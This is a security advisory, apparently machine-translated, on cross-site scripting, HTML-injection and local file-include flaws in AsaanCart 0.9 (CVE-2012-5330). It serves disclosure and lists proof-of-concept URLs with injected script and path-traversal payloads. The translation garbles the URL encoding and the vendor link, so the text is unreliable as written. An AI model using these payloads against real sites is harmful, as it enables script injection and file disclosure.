AsaanCart Cross-Site Scripting Vulnerability

Release date: 2012-03-14
Updated on:

Affected Systems:
Sourceforge asaanCart 0.9
Description:
--------------------------------------------------------------------------------
Bugtraq id: 52498
Cve id: CVE-2012-5330

AsaanCart is an online shopping cart solution designed for small businesses.

AsaanCart 0.9 has Multiple XSS vulnerabilities, allowing remote attackers to send data to calc through PATH_INFO. php, chat. php, register. php, index. input parameters in php or the page parameter to libs/smarty_ajax/index. php parameter passing injection refers to arbitrary Web scripts or HTML code.

<* Source: Number 7
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

For the HTML-injection vulnerabilities:
Http://www.example.com/asaancart%20v-0.9/libs/smarty_ajax/calc.php/%22onmouseover=prompt (944322) % 3E % 3Cu % 3E % 3 Cbig % 3E % 3 Cbig % 3E % 3 Cbig % 3 Cbig % 3 EInjection % 20 Here % 3C/big % 3E % 3C/big % 3E % 3C/big % 3E % 3C/big % 3E % 3C/u % 3E
Http://www.example.com/asaancart%20v-0.9/libs/smarty_ajax/chat.php/%22onmouseover=prompt (998415) % 3E % 3 CBig % 3E % 3 Cbig % 3E % 3 Cbig % 3E % 3 Cbig % 3E % 3Cu % 3 EHtml % 20 Injection % 20HerE. % 3C/u % 3E % 3C/Big % 3E % 3C/big % 3E % 3C/big % 3E % 3C/big % 3E
Http://www.example.com/asaancart%20v-0.9/libs/smarty_ajax/register.php/%22onmouseover=prompt (970389) % 3E % 3 Cbig % 20 style = % 22 color: % 20rgb (204, % 200, % 200 ); % 22% 3E % 3 Cbig % 3E % 3 Cspanstyle = % 22font-weight: % 20 bold; % 20font-style: % 20 italic; % 20text-decoration: % 20 underline; % 22% 3EHtmlInjection. % 3C/span % 3E % 3C/big % 3E % 3C/big % 3E
Http://www.example.com/asaancart%20v-0.9/libs/smarty_ajax/index.php/%22onmouseover=prompt (970389) % 3E % 3 Cbig % 20 style = % 22 color: % 20rgb (204, % 200, % 200 ); % 22% 3E % 3 Cbig % 3E % 3 Cspanstyle = % 22font-weight: % 20 bold; % 20font-style: % 20 italic; % 20text-decoration: % 20 underline; % 22% 3EHtmlInjection. % 3C/span % 3E % 3C/big % 3E % 3C/big % 3E

For the cross-site scripting vulnerability:
Http://www.example.com/asaancart%20v-0.9/libs/smarty_ajax/index.php? _ = & Amp; f = update_intro & amp; page = 1% 3 CScRiPt % 20% 3 Eprompt % 28949136% 29% 3C % 2 fScRiPt % 3E

For the local file-include vulnerability:
Http://www.example.com/asaancart%20v-0.9/libs/smarty_ajax/index.php? _ = & Amp; f = update_intro & amp; page =.../templates \ add_product

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Sourceforge
-----------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://jocr.sourceforge.net/index.html